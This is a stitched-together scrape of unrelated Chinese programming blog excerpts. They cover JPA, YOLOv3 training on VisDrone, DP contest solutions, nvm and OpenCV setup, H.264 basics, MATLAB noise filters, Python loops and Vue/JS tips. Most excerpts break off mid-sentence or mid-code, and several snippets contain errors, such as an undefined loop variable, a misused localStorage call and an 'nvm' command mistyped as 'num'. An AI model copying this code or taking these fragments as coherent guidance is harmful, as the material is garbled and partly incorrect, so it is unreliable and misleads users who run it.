本次提供2485种字体库供大家下载,压缩包500多M,解压后更大,建议大家收藏,或者选择性使用,如果不嫌弃太大的话,个人建议需要用到具体字体的时候再进行安装。
安装方法:解压后,将字体文件复制到AutoCAD安装目录的Fonts文件夹下载
下载地址:点击前往
npm config set registry http://registry.npm.taobao.org/ 还原的话就是
npm config set registry https://registry.npmjs.org/
#
1.JPA和Hibernate的关系 1.1 JPA的供应商 1.2 JPA的优势 1.3 JPA 包含三方面的技术 2.Holle Word 2.1 使用JPA持久化对象的步骤
创建 persistence.xml, 在这个文件中配置持久化单元
------需要指定跟哪个数据库进行交互;
------需要指定 JPA 使用哪个持久化的框架以及配置该框架的基本属性
2.2创建实体类, 使用 annotation 来描述实体类跟数据库表之间的映射关系.
使用 JPA API 完成数据增加、删除、修改和查询操作
2.3创建 EntityManagerFactory (对应 Hibernate 中的 SessionFactory);
2.4创建 EntityManager (对应 Hibernate 中的Session);
2.5 在Eclipse下创建JPA工程 2.5.1创建jpa项目
2.5.2 JPA版本选择2.0
2.5.3 3. JPA基本注解 @Entity
标注用于实体类声明语句之前,指出该Java 类为实体类,将映射到指定的数据库表。如声明一个实体类 Customer,它将映射到数据库中的 customer 表上。
@Table
当实体类与其映射的数据库表名不同名时需要使用 @Table 标注说明,该标注与 @Entity 标注并列使用,置于实体类声明语句之前,可写于单独语句行,也可与声明语句同行。
@Table 标注的常用选项是 name,用于指明数据库的表名
@Table标注还有一个两个选项 catalog 和 schema 用于设置表所属的数据库目录或模式,通常为数据库名。uniqueConstraints 选项用于设置约束条件,通常不须设置。
@Id
import android.support.annotation.CallSuper; import android.support.annotation.UiThread; import android.view.View; import android.widget.ImageView; import butterknife.Unbinder; import butterknife.internal.Utils; import com.example.myapplication.R; import com.example.myapplication.myCenter.nav_bar; import java.lang.IllegalStateException; import java.lang.Override; public class MineFragment_ViewBinding implements Unbinder { private MineFragment target; @UiThread public MineFragment_ViewBinding(MineFragment target, View source) { this.target = target; target.hBack = Utils.findRequiredViewAsType(source, R.id.h_back, "field 'hBack'", ImageView.class); target.hHead = Utils.findRequiredViewAsType(source, R.id.h_head, "field 'hHead'", ImageView.class); target.sex = Utils.findRequiredViewAsType(source, R.id.sex, "field 'sex'", nav_bar.class); target.name = Utils.findRequiredViewAsType(source, R.id.name, "field 'name'", nav_bar.class); target.version = Utils.
目录: 1. Visdrone2018数据集的介绍及下载;
2. Visdrone2018数据集标签格式转换;
3. YoloV3算法模型代码的调整以及模型的训练;
4. 总结;
(按照VOC格式生成的图片XML文件有需要的可留言)
前言: 学渣的生活就是拿着各种数据集在算法上各种训练、各种玩……当然,个人觉得还是有意思的,在你有一台Bebop2无人机的情况下,结合本人前面的博客,搭建一个无人机实时目标检测平台,再配合这个检测模型,还是相对有点意思的。先看一下训练后模型的检测效果吧,无人机实时传输回来的图像在工作站上实时的检测效果(在视频上测试的,照片为截图),你再决定是不是要看本篇博客接下来的内容。要是觉得效果不是你想要的,你就不会浪费时间了…………为什么要去掉检测框的名字,是因为有名字,整个检测的画面好难看,至于怎么去掉检测框的名字,只需要屏蔽image.c代码中
draw_label(im, top + width, left, label, rgb) 函数即可!
(视频观看链接:https://www.youtube.com/watch?v=5EITG1rbAHc&t=36s
B站:https://www.bilibili.com/video/av54517585?from=search&seid=11504153865247579114)
一.Visdrone2018数据集的介绍及下载 1.数据集的介绍:http://www.aiskyeye.com/views/index
2.数据下载的主页:http://www.aiskyeye.com/my/downloadD
3.在本次训练中,用到了Task1:Object Detection in Images的两部分实验数据:
Trainset(1.44GB)、Valset(0.07GB) 数据分别可通过百度云和google云下载;
4.数据下载好后解压放在同一文件夹内,以便后面的步骤使用;
二.Visdrone2018数据集标签格式转换 在该部分,实验中通过代码将Visdrone数据集标签格式转换至Darknet所需要的格式;
该部分代码,需要运行两次,放在两部分实验数据集(Train、Val)的目录下,分别运行即可;
运行后,每个文件夹里面会生成image.txt文件。(为了后面更加容易区分训练和验证的数据,在运行代码时可以修改改文件的名字,例如:train.txt、val.txt)
代码如下:(脚本参考来源于github,若有侵权,将及时删除!感谢每一位开源分享的大神!)
import os from pathlib import Path from PIL import Image import csv def convert(size, box): dw = 1. / size[0] dh = 1. / size[1] x = (box[0] + box[2] / 2) * dw y = (box[1] + box[3] / 2) * dh w = box[2] * dw h = box[3] * dh return (x, y, w, h) wd = os.
题目大意 n个城市呈环状排列,每个城市有得到钱数和花费钱数,你可以任意选择一个起点出发,按照顺时针方向旅行,上一个城市剩下的钱可以留到下一个城市花,当钱不够时结束旅行,求最多不重复旅行多少个城市?
分析 由于本体的数据结构是环状的,故要破环为链。而且可以将所给的数据简化为钱数-花费,将简化后的数据复制一遍在原数组后,那么本题即为求数组中最长非负子串的长度,当然不能超过n
跟最大子串和类似,先用dp[i]表示以i结尾的最大子串和,再对dp[i]求最长非负子串长度
代码 #include<bits/stdc++.h> using namespace std; int n,ans=0; int dp[200010],spend[100010],take[100010],a[200010],tmp; int main() { while(~scanf("%d",&n)) { ans=0;tmp=0; memset(dp,0,sizeof(dp)); for(int i=1;i<=n;i++) { scanf("%d%d",&take[i],&spend[i]); a[i]=take[i]-spend[i];//表示钱数-花费 } for(int i=n+1;i<=2*n;i++) a[i]=a[i-n]; for(int i=1;i<2*n;i++) dp[i]=max(dp[i-1]+a[i],a[i]);//状态转移方程:从自己开始或跟着上一个 for(int i=1;i<2*n;i++) { if(dp[i]>=0) tmp++; else tmp=0; ans=max(ans,tmp); }//统计出最长的路线 if(ans>n) ans=n;//最大为n printf("%d\n",ans); } return 0; } 题目链接
题目描述 电子科大本部食堂的饭卡有一种很诡异的设计,即在购买之前判断余额。如果购买一个商品之前,卡上的剩余金额大于或等于5元,就一定可以购买成功(即使购买后卡上余额为负),否则无法购买(即使金额足够)。所以大家都希望尽量使卡上的余额最少。 某天,食堂中有n种菜出售,每种菜可购买一次。已知每种菜的价格以及卡上的余额,问最少可使卡上的余额为多少。
输入输出格式 输入格式 多组数据。对于每组数据: 第一行为正整数n,表示菜的数量。n<=1000。 第二行包括n个正整数,表示每种菜的价格。价格不超过50。 第三行包括一个正整数m,表示卡上的余额。m<=1000。
n=0表示数据结束。
输出格式: 对于每组输入,输出一行,包含一个整数,表示卡上可能的最小余额。
####输入输出样例
输入样例 1
50
5
10
1 2 3 2 1 1 2 3 2 1
50
0
输出样例 -45
32
####分析
很经典的一道01背包题,要注意的是这里只要剩余的钱不低于5元,就可以购买任何一件物品,所以5在这道题中是很特殊的,在使用01背包之前,我们首先要在现在所拥有的余额中保留5元,用这五元去购买最贵的物品(此处默认最贵的比5元贵了),而剩下的钱就是背包的总容量
#include<iostream> #include<cstring> #include<cstdio> #include<algorithm> using namespace std; int N,V; int dp[10005],v[10005]; int main() { while(~scanf("%d",&N)&&N!=0) { memset(dp,0,sizeof(dp)); memset(v,0,sizeof(v)); for(int i=1;i<=N;i++) cin>>v[i]; sort(v+1,v+N+1); scanf("%d",&V); if(V<5) { cout<<V<<'\n'; continue; }//如果卡上金额小于5,就什么也干不了 V-=5;//先减去5元 for(int i=1;i<N;i++) { for(int j=V;j>=v[i];j--) dp[j]=max(dp[j],dp[j-v[i]]+v[i]);//正常地跑一遍DP } cout<<V+5-dp[V]-v[N]<<'\n';//最后输出金额 } return 0; } 题目链接
点击查看项目源码
全新升级,整改为JAR包运行模式,既然是java项目自然支持各个系统
下载JAR包 JDK版本要求:JDK8-JDK10
上不去github的戳这 CSDN 0积分下载
运行方式
java -jar LabelTool-v3.0-jdk8.jar 如果JAR运行出错可以使用Maven自行编译打包
git clone https://github.com/vua/LabelTool.git cd LabelTool mvn clean package cd target java -jar LabelTool-v3.0.jar Motivation 用过几个标注工具,但生成的label文件和自己的程序的数据读取有点偏差,处理方法无外乎改读取程序,或者写个脚本转换生成label文件的格式,总之太不方便,所以就想做一个可以自定义标签模板的标注工具
Display 一、自定义模板 自定义标签模板应该是该工具的最大的优点(工具的一些功能考虑的不够完善,没有提前构思,一股脑的直接撸)
可用变量
在模板中可使用10个变量(代表什么就不解释了),可以和字符串随意结合(当然字符串不能含有其余的符合正则$\d+的形式)组成自定义模板 $0:xmin $1:ymin $2:xmax $3:ymax $4:label $5:file name $6:absolute path $7:image width $8:image height $9:line separator 重复符合
因为一张图片可能有多个目标,所以重复性模板必不可少 我是用多行注释符号标注重复性内容
/*repetitive content*/ 实例
eg1:pascal voc 模板 object标签是pascal voc 模板中的重复内容
模板:
<?xml version="1.0" encoding="UTF-8"?>$9 <annotation>$9 <folder>VOC2007</folder>$9 <filename>$5</filename>$9 <size>$9 <width>$7</width>$9 <height>$8</height>$9 <depth>3</depth>$9 </size>$9 /*<object>$9 <name>$4</name>$9 <bndbox>$9 <xmin>$0</xmin>$9 <ymin>$1</ymin>$9 <xmax>$2</xmax>$9 <ymax>$3</ymax>$9 </bndbox>$9 </object>$9*/ </annotation>$9 生成标签
1、使用os读取环境变量
import os os.getenv('path') os.environ.get('path') os.environ['path'] 2、遍历打印所有环境变量
通过访问os.environ可以获取整个系统环境变量。
import os env_dist = os.environ for key in env_dist: print key + ' : ' + env_dist[key] 3、添加新的环境变量
git_path = 'C:\\Program Files (x86)\\Git\\bin' os.environ["PATH"] = git_path + ";" + os.environ["PATH"]
上一篇我们讲到了使用OKhttp实现文件上传,还有不清楚文件上传的小伙伴可以去看看。
今天,我们的重点是使用OKhttp实现文件下载,还是老规矩,先看效果:
我这个人写博文喜欢把效果先放出来,为什么呢?因为我觉得这样能方便小伙伴们知道,这是不是我所需要的效果,而不是看我长篇大论之后,发现并没有自己想要的。
我来解释一下大致的流程,还是和上一篇文件上传一样的界面,不同的是,现在我是有文本信息的:
点击对应文件,弹出一个弹框,点击确认之后开始下载下载成功后,进度条会有提示同时系统会发送一个通知,告诉你文件下载成功 这里我们就不搞那么复杂了,关于弹框和进度条、通知栏啥的,就不细讲了,我们的重头戏是文件下载,那就从点击确定之后开始说咯?
好吧,这里又是两个封装好的工具类,大家接好了:
然后,你们会发现,这里我又把token放到请求头里去了,所以,为了不误人子弟,我还是默默注释了吧,放上正常的。
public class DownloadUtil { private static DownloadUtil downloadUtil; private final OkHttpClient okHttpClient; private Context context; private String TAG = "下载页面"; public static DownloadUtil get() { if (downloadUtil == null) { downloadUtil = new DownloadUtil(); } return downloadUtil; } private DownloadUtil() { okHttpClient = new OkHttpClient(); } /** * @param url 下载连接 * @param saveDir 储存下载文件的SDCard目录 * @param listener 下载监听 */ public void download(Context context, final String url, final String saveDir,final String fileName, final OnDownloadListener listener) { this.
nvm是node.js的版本管理器,可以安装和切换不同版本node.js
第一步:下载 下载地址:https://github.com/coreybutler/nvm-windows/releases
nvm-noinstall.zip: 这个是绿色免安装版本,但是使用之前需要配置
nvm-setup.zip:这是一个安装包,下载之后点击安装,无需配置就可以使用,方便。
Source code(zip):zip压缩的源码
Sourc code(tar.gz):tar.gz的源码,一般用于*nix系统
第二步:安装 按照提示完成安装即可,安装完成后可以检测一下是否安装成功
在cmd命令行输入nvm,如果出现nvm版本号和一系列帮助指令,则说明nvm安装成功。
第三步:修改settings.txt 在你安装的目录下找到settings.txt文件,打开后加上 node_mirror: https://npm.taobao.org/mirrors/node/ npm_mirror: https://npm.taobao.org/mirrors/npm/
这一步主要是将npm镜像改为淘宝的镜像,可以提高下载速度。
第四步:node.js 安装 可以先使用 num list 查看本地已安装的版本
然后使用 nvm list available 查看所有版本
使用 nvm insttall 版本号 安装制定的版本,如nvm install 12.2.0
NVM常用命令 nvm list 查看已经安装的版本nvm list installed 查看已经安装的版本nvm list available 查看网络可以安装的版本nvm version 查看当前的版本nvm install 安装最新版本nvmnvm use <version> ## 切换使用指定的版本nodenvm ls 列出所有版本nvm current显示当前版本nvm alias <name> <version> ## 给不同的版本号添加别名nvm unalias <name> ## 删除已定义的别名nvm reinstall-packages <version> ## 在当前版本node环境下,重新全局安装指定版本号的npm包nvm on 打开nodejs控制nvm off 关闭nodejs控制nvm proxy 查看设置与代理nvm node_mirror [url] 设置或者查看setting.
题目描述: 假定一磁盘有200个柱面,编号为0~199,当前移动臂的位置在143号柱面上,并刚刚完成125号柱面的服务请求,如果请求队列的先后顺序是86,147,91,177,94,150,102,175,130。请按下列算法分别计算为完成上述各次访问总共需要的磁头移动量,并写出磁头的移动顺序。要求通过编写模拟程序实现,开发工具任选。
(1)电梯算法;
(2)最短寻找时间优先算法(SSTF)。
电梯算法演示:
为了便于演示,当前移动臂在3号磁道,将请求队列为 2,1,5,7,8,0,4(emmm好曲折的数值)
SSTF演示:
当前移动臂在3号磁道,将请求队列为 4 ,0,7,1,8
代码: Mes类,存放访问队列里磁道的信息
package DiskScheduling; public class Mes { public Mes(int i, int j) { id=i; num=j; } public int num; public int id; } package DiskScheduling; import java.util.ArrayList; public class Diskscheduling { private static ArrayList<Mes> finish = new ArrayList<Mes>(); private static ArrayList<Mes> finish1 = new ArrayList<Mes>(); private static ArrayList<Mes> tip = new ArrayList<Mes>(); private static int sum; private static boolean flag = true; private static ArrayList<Mes> wait = tip; private static int min; private static int sum0; //电梯 // 147--->150--->175--->177--->130--->102--->94--->91--->86 // 磁头移动量:125 // SSTF // 147--->150--->130--->102--->94--->91--->86--->175--->177 public static void main(String[] args) { // 信息加载 Mes s1 = new Mes(1, 86); tip.
Restaurants
业务表(businesss),
评价表(reviews),
小贴士表(tips,更简短的评价),
用户信息表(user information),
签到表(check-ins)。
https://www.zybuluo.com/hanxiaoyang/note/522569
其他下载地址
https://www.kaggle.com/yelp-dataset/yelp-dataset(已解压)
数据集样例说明
https://www.yelp.com/dataset/documentation/main
文章目录 class-继承子类中constructor构造器中的super函数的使用注意事项 注意1:在 class 的 { } 区间内,只能写 构造器、静态方法、静态属性、实例方法;
注意2:class 关键字内部,还是用的原来的配方实现的,所以说,class 关键字,称作为 语法糖;
class-继承 在class 类中, 通过使用 extends 实现继承的
语法:class A extends B { }
//这是父类【大家可以直接把父类理解成原型对象 prototype】 class Person{ constructor(name,age){ this.name=name; this.age=age; } //共同的打招呼实例方法 sayHello(){ console.log('大家好!!!') } } //这是子类,美国人 //在 class 类中,可以使用 extends 关键字,实现子类继承父类 class American extends Person{ } const a1 = new American('Jack',20); console.log(a1); a1.sayHello(); //子类,中国人 class Chinese extends Person{ } const c1 = new Chinese('张三',22); console.log(c1); c1.sayHello(); 子类中constructor构造器中的super函数的使用 问题1:为什么一定要在 constructor 中调用 super ?
题目:输入两个正整数m和n,求其最大公约数和最小公倍数。
参考程序:
m = int(input("请输入m的值:")) n = int(input("请输入n的值:")) # 默认m比n大,方便计算。 if m < n: t = m m = n n = t # m与n成倍数的情况 if(m % n == 0): x = n y = m # m与n不成倍数的情况 else: # 遍历求取最大公约数 for i in range(1, n): if m%i==0 and n%i==0: x = i # 遍历求取最小公倍数 y = m # 从大的那个数开始遍历 while True: if y%m == y%n ==0: break y += 1 print("
内容: 今天记录如何在ubuntu下配置sqlite3
第一步:安装sqlite3
第二步:安装库文件
注意:此时安装完成第一步后,你写调用程序,包含sqlite3.h这个头文件会出错的。还需要配置库文件,不然会出现以下错误
安装库文件:
第三步:验证安装完成(会有版本和安装时间信息)
注意: 时需要包含sqlite3的库,并且顺序不能颠倒哦!g++的编译参数颠倒会出问题,比如:
修正:
创建你的数据库,然后在你的库里创建表,这时候就可以开始使用了哦!
文章目录 快速幂高次同余方程BSGSexBSGS 欧拉函数讲解两道水题法雷级数可见点数 原根欧拉定理原根部分性质证明(数量证不出来,一个还没填的坑)扩展:原根的求法代码 高斯消元普通系数为0 辗转相除法 矩阵树与证明未了结的坑无向图关联矩阵Kirchhoff矩阵行列式求法代码证明柯西-比内公式 未完结的坑 快速幂 题目描述 【题意】 求a^b mod c,a,b,c都是整数。 【输入格式】 一行三个整数 a、b、c。 0 ≤ a,b,c ≤ 10^9 【输出格式】 一行,a^b mod c的值。 【样例输入】 2 5 7 【样例输出】 4 题目链接就不放出来了,因为这个OJ已经很卡了,且不登录不能看题目。
其实,我们容易知道,幂次有个性质:当 b % 2 = = 0 b\%2==0 b%2==0时 a b = ( a ∗ a ) b / 2 a^{b}=(a*a)^{b/2} ab=(a∗a)b/2
用脑子想想就知道。
#include<cstdio> #include<cstring> using namespace std; typedef long long LL; LL kms(LL a,LL b,LL c)//a^b%c { LL ans=1%c;/*防止c==1*/a%=c; while(b)//b!
H264编码简介 H.264,同时也是MPEG-4第十部分,是由ITU-T视频编码专家组(VCEG)和ISO/IEC动态图像专家组(MPEG)联合组成的联合视频组(JVT,Joint Video Team)提出的高度压缩数字视频编解码器标准。H.264 不仅具有优异的压缩性能,而且具有良好的网络亲和性。和MPEG-4 中的重点是灵活性不同,H.264 着重在压缩的高效率和传输的高可靠性,因而其应用面十分广泛。
1. H.264的特点
H264标准的主要特点如下:
更高的编码效率:同H.263等标准的特率效率相比,能够平均节省大于50%的码率。高质量的视频画面:H.264能够在低码率情况下提供高质量的视频图像,在较低带宽上提供高质量的图像传输是H.264的应用亮点。提高网络适应能力:H.264可以工作在实时通信应用(如视频会议)低延时模式下,也可以工作在没有延时的视频存储或视频流服务器中。采用混合编码结构:同H.263相同,H.264也使用采用DCT变换编码加DPCM的差分编码的混合编码结构,还增加了如多模式运动估计、帧内预测、多帧预测、基于内容的变长编码、4x4二维整数变换等新的编码方式,提高了编码效率。H.264的编码选项较少:在H.263中编码时往往需要设置相当多选项,增加了编码的难度,而H.264做到了力求简洁的“回归基本”,降低了编码时复杂度。H.264可以应用在不同场合:H.264可以根据不同的环境使用不同的传输和播放速率,并且提供了丰富的错误处理工具,可以很好的控制或消除丢包和误码。错误恢复功能:H.264提供了解决网络传输包丢失的问题的工具,适用于在高误码率传输的无线网络中传输视频数据。较高的复杂度:264性能的改进是以增加复杂性为代价而获得的。据估计,H.264编码的计算复杂度大约相当于H.263的3倍,解码复杂度大约相当于H.263的2倍。 2. H.264编解码器
H.264 并不明确地规定一个编解码器如何实现,而是规定了一个编了码的视频比特流的句法,和该比特流的解码方法,各个厂商的编码器和解码器在此框架下应能够互通,在实现上具有较大灵活性,而且有利于相互竞争。H.264 编码器和解码器的功能组成分别见图2.1,图2.2。
图2.1 H.264 编码器
图2.2 H.264解码器
从上述二图可见,H.264 和基于以前的标准(如H.261、H.263、MPEG-1、MPEG-4)中的编解码器功能块的组成并没有什么区别,主要的不同在于各功能块的细节。由于视频内容时刻在变化,这种内容的多变性就必须采用相应的自适应的技术措施;由于信道在环境恶劣下也是多变的,这就要求采取相应的自适应方法来对抗这种信道畸变带来的不良影响。这两方面的多变带来了自适应压缩技术的复杂性。H.264 就是利用实现的复杂性获得压缩性能的明显改善。
编码器采用的仍是变换和预测的混合编码法。由图2.1,输入的帧或场Fn以宏块为单位被编码器处理。首先,按帧内或帧间预测编码的方法进行处理。如果采用帧内预测编码,其预测值PRED(图中用P 表示)是由当前片中前面已编码的参考图像经运动补偿(MC)后得出,其中参考图像用F’n-1 表示。为了提高预测精度,从而提高压缩比,实际的参考图像可在过去或未来(指显示次序上)已编码解码重建和滤波的帧中进行选择。预测值PRED 和当前块相减后,产生一个残差块Dn,经块变换、量化后产生一组量化后的变换系数X,再经熵编码,与解码所需的一些边信息(如预测模式量化参数、运动矢量等)一起组成一个压缩后的码流,经NAL(网络自适应层)供传输和存储用。正如上述,为了提供进一步预测用的参考图像,编码器必须有重建图像的功能。因此必须使残差图像经反量化、反变换后得到的Dn’与预测值P 相加,得到uFn’(未经滤波的帧)。为了去除编码解码环路中产生的噪声,为了提高参考帧的图像质量,从而提高压缩图像性能,设置了一个环路滤波器,滤波后的输出Fn’即重建图像可用作参考图像。
由图 2.1可知,由编码器的NAL输出一个压缩后的H.264压缩比特流。由图2.2,经熵解码得到量化后的一组变换系数X,再经反量化、反变换,得到残差Dn’。利用从该比特流中解码出的头信息,解码器就产生一个预测块PRED,它和编码器中的原始PRED是相同的。当该解码器产生的PRED与残差Dn’相加后,就产生uFu’,再经滤波后,最后就得到滤波后的Fn’,这个Fn’就是最后的解码输出图像。
3. Profile和Level
H264主要包括Baseline,Ext,Main, High这几种常用profile,各种profile是根据不同的应用场景设计的,具体如下:
Baseline主要是用于可视电话,会议电视,无线通讯等实时通信。要实时,就要减少视频decode和display的时延,所以没有B frame;为了提高针对网络丢包的容错能力,特意添加了FMO,ASO和冗余slice。
Main用于数字广播电视和数字视频存储,侧重点在于提高压缩率,所以有了CABAC,MBAFF,Interlace,B frame等。 Extend用于改进误码性能和码流切换(SP和SI slice),侧重于码流切换(SI,SP slice)和error resilience(数据分割)。 High主要用于高压缩效率和质量, 引入8x8 DCT,选择量化矩阵等。
H.264 Baseline profile、Extended profile和Main profile都是针对8位样本数据、4:2:0格式的视频序列,FRExt将其扩展到8~12位样本数据,视频格式可以为4:2:0、4:2:2、4:4:4,设立了High profile(HP)、High 10profile(Hi10P)、High 4:2:2 profile(Hi422P)、High 4:4:4 profile(Hi444P)4个profile,这4个profile都以Main profile为基础。
每个profile 都规定了一个算法特征和限制的子集,任何遵守某个profile 的解码器都应该支持与其相应的子集。 每个level都规定了一组对标准中语法成员(syntax element)所采用的各种参数值的限制。
在给定的profile下,level通常与解码器的处理能力和内存容量相对应。每一个档次设置不同的参数(如取样速率、图像尺寸、编码比特率等),得到对应的编解码器性能的不同level。
4. 编码数据格式
4.1 H.264 的编码格式
在阿里云centos7上安装opencv 搜寻了很多教程,都是一大堆步骤,按照他们的步骤,还是没能装好,最后经过同学提醒,他说之前直接用pip install opencv-python这一条命令就直接装好了,,,,,,结果一试,虽然中间出了些差错,但是最终还是安装成功了
这里记录一下遇到的问题和解决方案
第一步:
输入命令 :pip install opencv-python
发现安装在了linux默认的python2.7文件夹下了,,
,
进入python环境,默认进入了python2.7 的环境下了
接着,import cv2
没问题
现在要进入python3环境,因为自己的django算法部分代码使用python3写的
果然就出现问题了
经过细细观察,发现用pip install 和pip3 install 安装包的时候,居然安装在了不同的路径下面
(安装Python之后pip 和pip3的区别 - ydw_ydw的博客 - CSDN博客 https://blog.csdn.net/ydw_ydw/article/details/82049772)
pip是安装在了系统默认python环境下,也就是
故,接着pip3 install opencv-python
将opencv包安装到python3环境
没问题
好了,继续进入python3环境,import cv2
果然出错
大概是说发现了多个地方或多个版本的opencv,numpy(安装opencv自带安装numpy)具体就不截图了
猜想,应该是python2环境里安装的那个numpy、opencv和现在这个python3环境里安装的重了
然后我就把py2里面的删了:pip uninstall opencv、numpy
现在就没有刚刚那个错误了,而是出现了另一个错(import numpy没问题)
这个错误找了我一个小时,,,,
然后找啊找,有人说是因为少了cv.py这个文件,https://stackoverflow.com/questions/39112321/python-3-5-importerror-dynamic-module-does-not-define-module-export-function-p
然后我就把python2环境里面的这个cv.py文件拷贝到python3里面,
发现还是不行
最终,这位老哥的方法解决了我的问题,真的是太感谢了
https://stackoverflow.com/questions/39112321/python-3-5-importerror-dynamic-module-does-not-define-module-export-function-p
让我把python2环境下的cv2.so文件删掉,然后再sudo pip3 install opencv-python
果然运行成功
自己的项目也成功运行
撒花!!
pip3没用是因为没有设置环境变量
可以参考这个博客
https://www.cnblogs.com/whoamme/p/4039998.html
参考链接:
【1】https://blog.csdn.net/u010155023/article/details/48058391 【2】 https://wenku.baidu.com/view/ccae0206ac02de80d4d8d15abe23482fb5da026a.html
【3】https://download.csdn.net/download/sheenze/9026489
分支定界法使用Matlab实现,【2】中有详细程序,且举了许多例子,能够完全理解,讲的非常好。【1】对Matlab中涉及到调用的函数参数进行了说明。
此外为了验证分支定界法的正确性,针对0,1证书规划问题进行了穷举,其方法让我很收益,【3】中可下载,不过下载的txt程序中的“?”要用空格替换掉。
在开发过程中避免不了调用其他第三方接口,获取数据或者同步数据,以下是在同步数据到第三接口时踩过的坑和需要注意的一些事,前车之鉴,希望通过这次总结可以避免后续继续踩坑。
本次同步数据主要采用resetful接口调用第三方接口把本系统的业务数据同步到第三接口,基本流程如下:
1、书写调用第三方接口的工具类,通过该工具类获取第三方接口的token
2、书写同步业务数据接口,把对应的业务数据传到第三方平台
3、把同步的数据和第三方数据返回的对应关系存储在本地数据库的关联关系表。
以上就是本次数据同步的基本流程了,咋一看如此简单,但是就是如此简单的流程却踩了一个又一个的坑,具体踩坑如下:
1、同步数据没有打印详细的日志文件,导致后期排查错误万分困难
2、同步数据时没有考虑数据量的问题,导致在正式环境上,由于数据量过大,第三方接口频繁调用失败导致同步数据失败
3、同步数据结果的记录表设计字段不全面,确实同步时间,和业务域标识导致,后期排查数据困难。
4、没有考虑实时同步接口的不稳定性,导致部分数据缺失。
5、同步数据接口封装不严谨,没有进行深度重构,导致后续业务维护很难。
针对以上的坑,后续要改了N次bug,重构了N次代码,才算是填满了自己挖的坑,总之,如果后续要做数据同步尽量做到以下几点:
1、同步数据没在关键的节点要打印详细的日志,方便后续排查问题以及维护。
2、同步数据接口要考虑全面,如果数据量过大,要考虑分批同步数据。
3、同步数据结果的记录表设计要全面,尽可能多的记录同步信息,其中同步时间是必不可少的。
4、如果有实时同步的业务场景,要充分考虑系统的稳定性和数据的一致性,尽量考虑设计数据补偿策略。
5、同步数据,尽量把数据封装到实体类中,避免直接操作json字符串,增加后期维护难度。
以上,是我首次同步数据的“血泪史”,希望可以帮助到大家。
前言:本篇博客先介绍滤波器滤除噪声,再介绍滤波器复原,侧重于程序的实现。
一:三种常见的噪声
二:空间域滤波
空间域滤波复原是在已知噪声模型的基础上,对噪声的空间域进行滤波。
空间域滤波复原方法主要包括:
均值滤波器
算术均值滤波器
几何均值滤波器
谐波均值滤波器
逆谐波均值滤波器
顺序统计滤波器
中值滤波器
最大值/最小值滤波器
2.1算数均值滤波器
1 img=imread('D:/picture/ZiXia.jpg'); 2 img=rgb2gray(img); 3 figure,imshow(img);//原图 4 img_noise=double(imnoise(img,'gaussian',0.06)); 5 figure,imshow(img_noise,[]);//含有高斯噪声的图 6 img_mean=imfilter(img_noise,fspecial('average',3));//滤波后的图 7 figure;imshow(img_mean,[]); 2.2几何均值滤波器
1 img=imread('cameraman.tif'); 2 img=rgb2gray(img); 3 figure,imshow(img); 4 img_noise=double(imnoise(img,'gaussian',0.06)); 5 figure,imshow(img_noise,[]); 6 img_mean=exp(imfilter(log(img_noise+1),fspecial('average',3))); 7 figure;imshow(img_mean,[]); 2.3谐波均值滤波器
2.4逆谐波均值滤波器
采用逆谐波均值滤波器对附加胡椒噪声图像进行滤波的matlab程序如下:
1 img=imread('cameraman.tif'); figure,imshow(img); 2 [M,N]=size(img);R=imnoise2('salt & pepper',M,N,0.1,0); 3 img_noise=img;img_noise(R==0)=0; 4 img_noise=double(img_noise); figure,imshow(img_noise,[]); 5 Q=1.5; 6 img_mean=imfilter(img_noise.^(Q+1),fspecial('average',3))./imfilter(img_noise.^Q,fspecial('average',3)); 7 figure;imshow(img_mean,[]); 采用逆谐波均值滤波器对附加盐噪声图像进行滤波的matlab程序如下:
1 img=imread('csboard.tif');figure,imshow(img); 2 [M,N]=size(img);R=imnoise2('salt & pepper',M,N,0,0.
for i in "Python": if i =="y": continue print(i,end="") 输出:Pthon
跳出if条件成立
for i in "python": if i == "t": break print(i,end="") 输出:py
结束循环
s = "Python" while s != "": for i in s: print(i,end="") s = s[:-1] 输出:PythonPythoPythPytPyP
s = "Python" while s != "": for i in s: if i =="t": break print(i,end="") s = s[:-1] 输出:PyPyPyPyPyP
循环与else s = 'python' for i in s: if i == 't': continue print(c,end="
1.创建缓存
localStorage.setItem('userInfo', userInfo); 2.读取缓存
localStorage.getItem('doEdit', this.doEdit); 3.清除所有缓存
localStorage.clear(); 4 清楚指定缓存
localStorage.removeItem('userinfo'); Tips:【小程序云开发】中高级前端面试题库(源码:小程序中联系我哟)。
---------- 创作不易,感谢大家,请多多支持!
a = 7 while a > 0: a = a-1 print(a,end=",") 输出:6,5,4,3,2,1,0,
核心语句:
pyinstaller -F main.py -p py_dir 详细描述:
test 目录下有三个 py 文件,分别为 cmmd.py、hello.py、test2/word.py,
依赖关系如下(A>B 表示 A 依赖于 B,或者说 A 中从 B 中 import 一些内容)
cmmd.py > hello.py > word.py 三个文件内容分别为:
# cmmd.py # -*- coding: utf-8 -*- from time import sleep from hello import show def main(): count = 1 while count <= 5: show(count) sleep(1) count += 1 print("Bye!") if __name__ == "__main__": main() # hello.py # -*- coding: utf-8 -*- from test2.
vue3 页面动态加载图片时候,总是加载失败(明显入坑了),网上找了好几种方法都不行,参考下面两个网站,自己摸索出一个方法,网站连接如下
https://blog.csdn.net/haeasringnar/article/details/81293020
https://zhidao.baidu.com/question/1865642317111431787.html
具体方法
1.img中加入 v-bind:src="home_url",这里的v-bind: 可用:代替 ,一定要绑定!!!
2.导入图片路径,然后赋值给变量
3.看效果图
回头看下其实思路比较清晰,导入图片路径,添加引用,用变量接收路径,然后绑定路径,让网页加载,猜测出来的方法,原理不是很懂,菜鸟的悲哀就在这里吧。
附加依据video同样可用
移动端阻止浏览器页面缩放(safari也好使) 正常阻止页面缩放,从head标签里设置meta就好了
<meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0,user-scalable=no"/> 但是有些浏览器(比如 safari)即使设置了meta也不生效,那就添加这段js
window.onload = function() { var lastTouchEnd = 0; document.addEventListener('touchstart', function(event) { if (event.touches.length > 1) { event.preventDefault(); } }); document.addEventListener('touchend', function(event) { var now = (new Date()).getTime(); if (now - lastTouchEnd <= 300) { event.preventDefault(); } lastTouchEnd = now; }, false); document.addEventListener('gesturestart', function(event) { event.preventDefault(); }); document.addEventListener('dblclick', function (event) { event.preventDefault(); }) } 以上方式可以很好阻止静态页面缩放,
基本可以满足需求,
但是如果你一个手指滑动滚动条的同时另一个手指放上去进行缩放就不行了,
搜索了一些帖子也没有很好的解决方案,如果你有完美的解决方案请留言,谢谢!
